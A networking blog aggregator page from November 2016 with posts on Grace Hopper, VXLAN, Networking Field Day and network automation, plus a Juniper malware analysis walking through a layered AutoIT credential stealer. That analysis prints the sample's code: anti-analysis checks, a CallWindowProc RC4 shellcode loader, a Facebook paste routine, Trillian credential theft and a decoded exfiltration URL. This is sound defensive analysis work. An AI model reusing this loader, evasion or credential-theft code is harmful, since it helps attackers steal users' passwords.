Grace Hopper is a towering figure in the computer history. Here she is being interviewed at 80 years of age. Today this is especially relevant since she was awarded the Presidential Medal of Freedom today.   .@POTUS names #USNavy computer pioneer Rear Adm. Grace Hopper one of 21 Presidential Medal of Freedom recipients – https://t.co/raxd3upel1 […]

The post Grace Hopper Awarded Honour appeared first on EtherealMind.

by Greg Ferro at November 18, 2016 09:02 PM

ipSpace.net Blog (Ivan Pepelnjak)

Can VMware NSX and Cisco ACI Interoperate over VXLAN?

I got a long list of VXLAN-related questions from one of my subscribers. It started with an easy one:

Does Cisco ACI use VXLAN inside the fabric or is something else used instead of VXLAN?

ACI uses VXLAN but not in a way that would be (AFAIK) interoperable with any non-Cisco product. While they do use some proprietary tagging bits, the real challenge is the control plane.

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 18, 2016 07:00 PM

The Networking Nerd

Visibility In Networking – Quick Thoughts from Networking Field Day

nfd-logo

I’m at Networking Field Day 13 this week. You can imagine how much fun I’m having with my friends! I wanted to drop some quick thoughts on visibility for this week on you all about what we’re hearing and raise some interesting questions.

I Can See Clearly Now

Visibility is a huge issue for companies. Seeing what’s going on is hard for people. Companies like Ixia talk about the need to avoid dropping any packets to make sure we have complete knowledge of the network. But that requires a huge amount of hardware and design. You’re always going to need traditional monitoring even when everything is using telemetry and other data models. Make sure you size things right.

Forward Networks told us that there is an increasing call for finding a way to monitor both the underlay network and the overlay network. Most overlay companies give you a way to tie into their system via API or other telemetry. However, there is no visibility into the underlay because of the event horizon. Likewise, companies like Forward Networks are focusing on the underlay with mapping technologies and modeling software but they can’t pass back through the event horizon to see into the overlay. Whoever ends up finding a way to marry both of these together is going to make a lot of money.

Apstra is taking the track of not caring what the underlay looks like. They’re going to give you the tools to manage it all without hard setup. You can rip and replace switches as needed with multivendor support. That’s a huge win if you run a heterogeneous network or you’re looking to start replacing traditional hardware with white or bright box options. Likewise, their ability to pull configs can help you visualize your device setup more effectively no matter what’s under there.


Tom’s Take

I’ve got some more Networking Field Day thoughts coming soon, but I wanted to get some thoughts out there for you to think about this weekend. Stay tuned for some new ideas coming out of the event!


by networkingnerd at November 18, 2016 05:13 PM

ipSpace.net Blog (Ivan Pepelnjak)

Video: Docker Networking Options

After introducing the fundamentals of Docker networking, Dinesh Dutt focused on various Docker networking options, including multi-host networking with overlays.

After watching the video, you might also want to listen to Episode 49 of Software Gone Wild with Brent Salisbury, Dave Tucker and Madhu Venugopal.

by Ivan Pepelnjak (noreply@blogger.com) at November 18, 2016 08:37 AM

XKCD Comics

November 16, 2016

ipSpace.net Blog (Ivan Pepelnjak)

Network Automation Course for Environments Using $Vendor Platform

One of my readers wondered whether it makes sense to attend my Building Network Automation Solution course even if they plan to deploy a $Vendor platform.

It depends, this time on how fast and how far you want to proceed with network automation.

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 16, 2016 08:14 AM

Networking Now (Juniper Blog)

A Walk Through AutoIT Malware

In this post, we'll walk through the analysis of a piece of AutoIT malware. AutoIt is a scripting language and interpreter mainly used for Windows administration and task automation. Malware written in AutoIT is not particularly common, though there was a recent Locky clone built using the language. We'll step through three different layers to find the final malicious payload.

 

Layer 1  

This sample arrived as a WinRAR SFX self-extracting archive. Inside, we find an assortment of file types.

 

WinRAR.png

 

While the files in the archive are meant to look like images and documents, all of the files but dqu.exe are plain text files. The executable file is a copy of the AutoIT interpreter, which we can verify by searching for the file hash on VirusTotal:

 

virustotal.png

In the WinRAR screenshot above, we can see that after the archive is unpacked, there is a "setup" command:

 

Setup=dqu.exe tid.ivb

 

As dqu.exe is the AutoIT interpreter, it would appear that tid.ivb is the input script. But at first glance, tid.ivb appears to contain nothing but white space! This is another trick to thwart analysis, albeit one easy to bypass. The file contains mostly carriage returns (ASCII 0x0d) and line feeds (ASCII 0x0a), with the actual content hidden deep within:

 

hexeditor.png 

What we find is an obfuscated AutoIT script:

 

script1.png 

With a short Python script, we can rename the functions and variables for easier reading and remove some of the string obfuscations:

 

script2.png 

Stepping through this code, we see that script runs without a tray icon to be avoid revealing itself. It sleeps for 20 seconds to evade antivirus detection, then reads configuration data from a fake PDF file:

 

#NoTrayIcon
$var_0 = "kcj.pdf"
If ProcessExists("avastui.exe") Then Sleep(20000)
$var_1 = @ScriptDir & "\" & $var_0
$SeeeSx = IniRead($var_1, "Set", "Dir", '')
func_3($SeeeSx) 

 

The (renamed) function func_3 uses a directory name ('sqv') extracted from the PDF file and verifies that

  1. the script is running from the user's AppData\Roaming\sqv directory and
  2. that there is no window open titled 'sqv'.

(The latter check will fail if a malware analyst is running the script while the sqv subdirectory is open in Windows Explorer.) If either condition fails, the script terminates all running processes and forces a full system reboot:

 

Func func_3($SeeeSx)
	$var_15 = func_0(@ScriptFullPath)
	$var_16 = func_0(@AppDataDir & "\" & $SeeeSx & "\" & @ScriptName)
	If $var_15 = $var_16 Then
	Else
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
	If WinExists($SeeeSx) Then
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
EndFunc   ;==>func_3
Func s643FE91()
	$_6BA7C9 = ProcessList()
	For $zzz = 1 To UBound($_6BA7C9) - 1
		ProcessClose($_6BA7C9[$zzz][0])
	Next
EndFunc 

 

Once we've make it past this stage, the script continues to read data from kcj.pdf:

 

$var_2 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sK", '')
$var_3 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sN", '')
If $var_2 = '' Or $var_3 = '' Then Exit
$var_4 = FileRead(@ScriptDir & "\" & $var_0)
$var_5 = _StringBetween($var_4, "[sData]", "[esData]")
$var_4 = $var_5[0]
$var_6 = func_1()
$var_7 = BinaryToString(func_2($var_4, $var_2))

 

At this point, $var_4 holds a long hexadecimal string taken from kcj.pdf, and $var_6 is a randomly-generated 5-character string generated by func_1(). In its original form, this procedure was nearly incomprehensible:

 

Func _W0x089CBAA43012CBD103A024E8C36513B6($_W0x0CEF5DECD2B023AC56972966DC08E211, $_W0x0EC486D88DF3F0E6FC2EFE52598D236F)
	$x_F = "F"
	$x_FF = "" & "" & "" & "u" & "s" & "er" & "3" & "2" & ".d" & "ll"
	Local $_W0xDD65C71118C300A5F374F0B99FF82104 = "0" & "x" & "C" & "8" & "10" & "01006A0" & "06A" & "005" & "3565" & "78B5" & "510" & "31C" & "98" & "9C"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &= "84989D7" & $x_F & "2AE484829C88945" & $x_F & "085C00" & $x_F & "84DC00" & "0000B90001" & "000088C82C" & "0188840DE" & $x_F & "" & $x_F & "E" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "" & $x_F & "E2" & $x_F & "38365" & $x_F & "4008365" & $x_F & "C00817D" & $x_F & "C000100007D478B45" & $x_F & "C31D2" & $x_F & "775" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0920345100" & $x_F & "B600" & "8B4D" & $x_F & "C0" & $x_F & "B68C0D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "01C80345"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "425" & $x_F & "" & $x_F & "0000008945" & $x_F & "48B75" & $x_F & "C8A8435" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "8B7D" & $x_F & "486843D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "888435" & $x_F & "0" & $x_F & "E" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "45" & $x_F & "CEBB08D9D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "31" & $x_F & "" & $x_F & "89" & $x_F & "A39550C766" & "38B85EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "4025" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0000008985EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "89D80" & "385EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "0" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="B6000385E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "25" & $x_F & "" & $x_F & "000000" & "8985E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "89DE03B5EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8A0689D" & $x_F & "03BDE8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "860788" & "060" & $x_F & "B60E0" & $x_F & "B60701" & "C181E1" & $x_F & "" & $x_F & "0000008" & "A840D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8B750801D6300642EB985" & $x_F & "5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($_W0xDD65C71118C300A5F374F0B99FF82104) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $_W0xDD65C71118C300A5F374F0B99FF82104)
	Local $_W0xD61B6A1A835288A336B7719A8B71B222 = DllStructCreate("byte[" & BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211) & "]")
	DllStructSetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1, $_W0x0CEF5DECD2B023AC56972966DC08E211)
	DllCall($x_FF, "non" & "e", "C" & "a" & "l" & "lW" & "in" & "do" & "w" & "P" & "r" & "o" & "c", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($_W0xD61B6A1A835288A336B7719A8B71B222), "int", BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211), "str", $_W0x0EC486D88DF3F0E6FC2EFE52598D236F, "int", 0)
	Local $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 = DllStructGetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1)
	$_W0xD61B6A1A835288A336B7719A8B71B222 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 

 

The deobfuscated code is easier to follow:

 

Func func_2($var_10, $var_11)
	Local $var_12 = "0xC81001006A006A005356578B551031C989C"
	$var_12 &= "84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFF"
	$var_12 &="FFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F"
	$var_12 &="0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345"
	$var_12 &="F425FF0000008945F48B75FC8A8435F0FEFFF"
	$var_12 &="F8B7DF486843DF0FEFFFF888435F0FEF"
	$var_12 &="FFFFF45FCEBB08D9DF0FEFFF"
	$var_12 &="F31FF89FA39550C76638B85ECFEFFFF4025FF"
	$var_12 &="0000008985ECFEFFFF89D80385ECFEFFFF0F"
	$var_12 &="B6000385E8FEFFFF25FF0000008985E8FEFFF"
	$var_12 &="F89DE03B5ECFEFFFF8A0689DF03BDE8FEFFF"
	$var_12 &="F860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($var_12) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $var_12)
	Local $var_13 = DllStructCreate("byte[" & BinaryLen($var_10) & "]")
	DllStructSetData($var_13, 1, $var_10)
	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0)
	Local $var_14 = DllStructGetData($var_13, 1)
	$var_13 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $var_14
EndFunc

 

The inputs to this function are the long hexadecimal string mentioned above ($var_10) and the string "897" ($var_11). These variables, along with the hexadecimal string stored in $var_12, are formatted and used in a Windows system call:

 

	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0) 

 

This use of CallWindowProc is a well-known trick for embedding shellcode in Windows scripts. The string $var_12 is represents binary executable code, which we can disassemble in IDA Pro:

 

disassem.png

 

This shellcode implements the RC4 stream cipher. It takes $var_11 as an input and transforms the long string $var_10. Here is the equivalent code in Python:

 

def dec(targetbuffer, inputstring):
    # Initialize key buffer, with LENGTH = 255 bytes.
    LENGTH = 0x100
    key_buffer = bytearray(LENGTH)
    for i in range(len(key_buffer)):
        key_buffer[i] = i

    # Now permute the key buffer based on inputstring.
    inputstring = bytearray(inputstring,'ascii')
    var_C = 0
    for var_4 in range(LENGTH):
        eax = inputstring[var_4 % len(inputstring)]
        ecx = key_buffer[var_4]
        var_C = (eax + ecx + var_C) % LENGTH
        al = key_buffer[var_4]
        key_buffer[var_4] = key_buffer[var_C]
        key_buffer[var_C] = al

    # Decrypt the targetbuffer in place. var_114 and var_118 are both indices
    # into the key_buffer bytearray.
    var_114 = 0
    var_118 = 0
    # iterate over targetbuffer
    for ii in range(len(targetbuffer)):
        # Manipulate the two index variables
        var_114 = (var_114+1) % LENGTH
        var_118 = (var_118 + key_buffer[var_114]) % LENGTH
        # Swap bytes in key_buffer
        al = key_buffer[var_114]
        key_buffer[var_114] = key_buffer[var_118]
        key_buffer[var_118] = al
        # Finally, take the values at each index, add them (mod 256), then
        # use the result as another index into the key_buffer.
        tmp_index = (key_buffer[var_114] + key_buffer[var_118]) % LENGTH
        # XOR the value at tmp_index against the targetbuffer.
        targetbuffer[ii] = targetbuffer[ii] ^ key_buffer[tmp_index]

    return targetbuffer

 

Using this script, we can extract the decrypted content and ... it's another AutoIT script!

 

script3.png 

The new script is written to disk, all of the files in the directory are set to 'hidden', and the script is executed.

 

$var_8 = StringReplace($var_7, "Settings File Name", $var_0)
Execute('FileSetAttrib("*.*", "+HR")')
FileWrite(@ScriptDir & "\" & $var_6, $var_8)
Run(@AutoItExe & " " & func_0(@ScriptDir & "\" & $var_6))

 

Layer 2

The second AutoIT script uses additional obfuscation techniques, but again some renaming and simplifying makes the code more readable.

 

script4.png 

The first thing to notice is that this script tries to read a number of configuration variables from the fake PDF. These values, if present, are used to modify the script's behavior. Most of these options aren't used in this instance, but a look at the code shows some of the functionality available, including sandbox evasion, binary execution, and the ability to paste content to the victim's Facebook account if the site is open in a browser:

 

Func func_6($var_41)
$var_42 = DllOpen("user32.dll")
Sleep(2)
If func_7("0D", $var_42) And WinActive("Facebook -") = True Then
ClipPut($var_41)
Send("^v{ENTER}")
Sleep(1)
ClipPut('')
$var_9 = @MIN + 1
If $var_9 > 60 Then
$var_9 = $var_9 - 60
EndIf
EndIf
DllClose($var_42)
EndFunc

 

In our case, the script reads another hexadecimal string from the PDF file, decrypts it with the same CallWindowProc/shellcode trick, writes the file to disk, then executes it. Instead of another AutoIT script, the payload this time is a standard Windows portable executable (PE) file.

 

vba_exe.png

 

Layer 3

Fortunately for us, this executable was written in Visual Basic 5 and compiled to p-code, and there are commercial tools to decompile this type of executable. Some of the functionality is obvious, such as this routine that pilfers account credentials from a popular instant messaging application:

 

Public Sub Proc_0_0_403FBC
  'Data Table: 401740
  loc_403EEC: var_88 = CStr(Environ("appdata") & "\Trillian\users\global\accounts.ini")
  loc_403F15: If (Dir(var_88, 0) = vbNullString) Then
  loc_403F18:   Exit Sub
  loc_403F19: End If
  loc_403F20: Open var_88 For Binary As 7 Len = &HFF
  loc_403F33: var_B8 = vbNullString
  loc_403F5C: Get 7, 0, CStr(String(LOF(7), var_B8))
  loc_403F60: Close 7
  loc_403F70: var_94 = Proc_0_1_403C28("Account000", "Account")
  loc_403F81: var_98 = Proc_0_1_403C28("Account000", "Password", var_88)
  loc_403FA8: Proc_0_18_40429C(var_B8, "Trillian", "www.trillian.im")
  loc_403FB9: Exit Sub
End Sub

 

In addition to an array of other password-stealing functions, there's also a routine called InjPE that runs a Windows executable (PE) file by injecting it into another process. But which binaries will be injected? We can start with the resource section of our executable.

 

Screen Shot 2016-11-15 at 1.46.59 PM.png 

The first component of the DVCLAL resource is an ASCII string. In the decompiled Visual Basic, we find that this string is extracted and each character is shifted up by 2:

 

Public Sub Proc_0_13_4037A8(arg_C) '4037A8
  'Data Table: 401740
  Dim var_B8 As String
  loc_403762: For var_8E = 1 To CInt(Len(arg_C)): var_8A = var_8E 'Integer
  loc_40378D:   var_B8 = Chr$(CLng((Asc(Mid$(arg_C, CLng(var_8A), 1)) + 2)))
  loc_403791:   var_88 = var_88 & var_B8
  loc_4037A1: Next var_8E 'Integer
  loc_4037A6: Exit Sub
End Sub

Public Sub Proc_0_14_4066F0
  'Data Table: 401740
  Dim var_E8 As String
  loc_406134: On Error Resume Next
  loc_40614E: Me.Global.LoadResData 1, "DVCLAL", var_D4
  [...]

 

We can decode the string with one line of Python:

 

>>> s = 'frrn8--bcdd_lmepmsn,am,gb-j_les_ec-glbcv,nfn'
>>> print ("".join(chr(ord(x)+2) for x in s))
http://deffanogroup.co.id/language/index.php

 

The result is a URL, probably used to exfiltrate the stolen data from the victim's computer. The other two components of the DVCLAL resource are Windows PE files -- WebBrowserPassView and MailPassView -- utilities that scour a computer for "lost" passwords. Neither one is malware, strictly speaking, but both are commonly used for malicious purposes.

 

Big Picture

We've reached the bottom of this rabbit hole and found that the final payload searches the target computer for passwords. Layer 1 was the AutoIT script delivered in a self-extracting executable. Layer 2 was an encrypted AutoIT script decrypted with the CallWindowProc/shellcode trick. Layer 3 was the executable written in Visual Basic, which itself contained two more executables used as utilities to throughly scour the victim's computer before exfiltrating the data to a URL we found hidden in the resource section. Given the configurability and unused portions of the AutoIT scripts, it appears the malware authors used some sort of toolkit to wrap and obfuscate their malware. This, combined with the use of separate data/configuration files, make it feasible to deliver unique executables with each victim.

by AsherLangton at November 16, 2016 12:01 AM

XKCD Comics

November 15, 2016

ipSpace.net Blog (Ivan Pepelnjak)

Worth Reading: DNS Is Part of the TCP/IP Stack

Another great blog post by Russ White: DNS is part of the TCP/IP stack, get used to it.

You might also want to tell application developers hard-coding IP addresses or anyone else believing in using /etc/hosts files instead of DNS that those things stopped being sexy around 1980.

by Ivan Pepelnjak (noreply@blogger.com) at November 15, 2016 08:01 AM

Jason Edelman's Blog

Network Automation Survey

Network Automation is just getting started and it’s odd to say that as IT professionals from other technology disciplines are always surprised to see how much manual interaction there still is between the networking engineering/operations teams and the actual devices they manage.

I’ll never forget the days in 2012-2013 performing my best Google searches to find ways to program or to automate network routers and switches. I didn’t care what programming language was being used or even what tool, but I found nothing. Every time I heard someone say they were using a network script, I’d say “email it to me, that sounds interesting.” Unfortunately, 100% of the time, it ended up being a notepad or a Word file, not a script. What a bummer.

I like to think I’m a solid Googler too. It was amazing though - there was near nothing. Do a search today on network automation or network programming and you’d be amazed on what you’ll find - we’ve come a long way in the past 36 months with respect to network automation, but I truly believe we’re still in the 2nd or 3rd inning (if we were playing a game of baseball, of course).

At this point, the industry needs feedback. We need to primarily see what our peers are doing and maybe more importantly ensure vendors are aware for the need of better tools, libraries, and APIs. We need a collective voice.

In order to help make that happen, a public and anonymous Network Automation Survey was created that was initiated by several folks on the Network to Code Community Slack team. I played a very small part in helping create it and now just doing a small part to make more people aware of it…

So, please, do your part. Take the Survey!

Until the results are reviewed and cleaned up, they are even available in raw format - full transparency along the way.

Happy Automating!

Thanks,

Jason

@jedelman8

November 15, 2016 12:00 AM

November 14, 2016

Router Jockey

Networking Field Day 13 – Sneak Preview

This is going to be a busy week for the Tech Field Day family. They have delegates en-route to Tech Field Day 12 this morning, and Wednesday the crew for Network Field day 13 arrive. I can’t express how excited I am about going to Networking Field Day 13 this week. I haven’t been to an actual NFD event since NFD2, although I did get to go to the TFD9 event in Austin a couple years ago. I can’t wait to land in San Jose. For those new to this concept, Networking Field day is an event that is focused on bringing together IT product vendors and thought leaders in the industry to share information and opinions in a presentation and discussion format. Please be sure to read my disclaimer page on this topic. These events are streamed live, so if you want to listen in while we talk about the latest and greatest technologies from the vendors we’re meeting with, or if you just want to listen to us moan and groan at the occasional Gartner or NASCAR slides… you should tune in. On the menu for this week we have a number of exciting companies that I’d like to take a quick peek at before hand.

apstralogo-100x22Apstra is an SDN vendor that is building a multi-vendor network automation platform. Being completely vendor agnostic presents it’s own challenges though, as your network engineering staff will be forced to become well versed in many divergent platforms. I can’t imagine trying to keep track of products from Cisco, Arista, Cumulus, and Juniper in a single environment. But at least it can all be managed from a single platform. I have some faith in their current vector, and the TFD community has a friend (@cloudtoad) working for them, so let’s hope this approach pays dividends in spades. More Info123

forward-networks_above_logo-100x57Forward Networks came out of stealth mode today to launch their Network Assurance Platform. They’ve spent the last 3 years in development trying to solve some severe problems with today’s large enterprise networks. Using their co-founder’s techniques used to model complex computer networks and three years of researched, they’re able to build very accurate models of your network in software. More Info123

ixia_logo-100x47Ixia makes a number of networking testing products. In the past I’ve taken a look at their security testing and network visibility products, and looking over their website I’m interested to more about their network tap products and network testing equipment. Looking over their website it seems they’ve build a Raspberry Pi based Active Monitoring Probe, which is something I had been playing with in my “spare” time. Depending on the control software behind it and the metrics they’re gathering this could turn out to be quite interesting. More Info12

400px-nec_logo-svg_NEC has always presented some interesting ideas in the SDN market, but like I said at NFD2, the best ideas are often left deflated and ignored. But the past few years I’ve pretty much ignored most of the SDN market as no one has presented anything that is useful at the scale I typically work at, the mid-enterprise market.

400px-solarwinds_logoSolarwinds is a leader in IT monitoring software and probably needs no introduction. That said, I’m curious to what they’ve been up to for the past couple years as I haven’t been following their products since I changed jobs a while back… Looking at their website it seems Orion has had a facelift and has some pretty nice features. It will be interesting to see how things are going, and if they’re still giving away stickers with my blog’s name printed on them…

velocloud_logo_mVeloCloud has made a big splash in the SD-WAN market over the past year. Their products , and our community has had some pretty good interaction with them via PacketPushers and last year’s NFD9 you can also grab a copy of the eBook SD-WAN for Dummies. From what I hear from Pete Welcher several big providers are going to be offering services based on VeloCloud tech in the very near future.

viptelaViptela has more SD-WAN offerings to present! I first heard about them early last year on the Packet Pushers Podcast. Which went into their Secure Extensible Network architecture which aims to provide a high visibility platform for SD-WAN deployments. Certainly should be an interesting week for Networking geeks!

Tech Field Day Disclaimer

Tech Field Day is made possible by the sponsors who are footing the bill for the travel and living expenses of delegates such as myself. Sponsors should understand that their financing of Tech Field Day in no way guarantees them any bias from the delegates and that they are only there to provide their honest and direct opinions of the solutions they present. For my full disclaimer, click here.

The post Networking Field Day 13 – Sneak Preview appeared first on Router Jockey.

by Tony Mattke at November 14, 2016 08:28 PM

ipSpace.net Blog (Ivan Pepelnjak)

Reliability of Clustered Solutions: Another Data Point

A while ago I wrote:

I haven’t seen any hard data, but intuition suggests that apart from hardware failures a standalone firewall might be more stable than a state-sharing firewall cluster.

Guillaume Sachot (working for a web hosting company) sent me his first-hand experience on this topic:

Read more ...

by Ivan Pepelnjak (noreply@blogger.com) at November 14, 2016 07:56 AM

XKCD Comics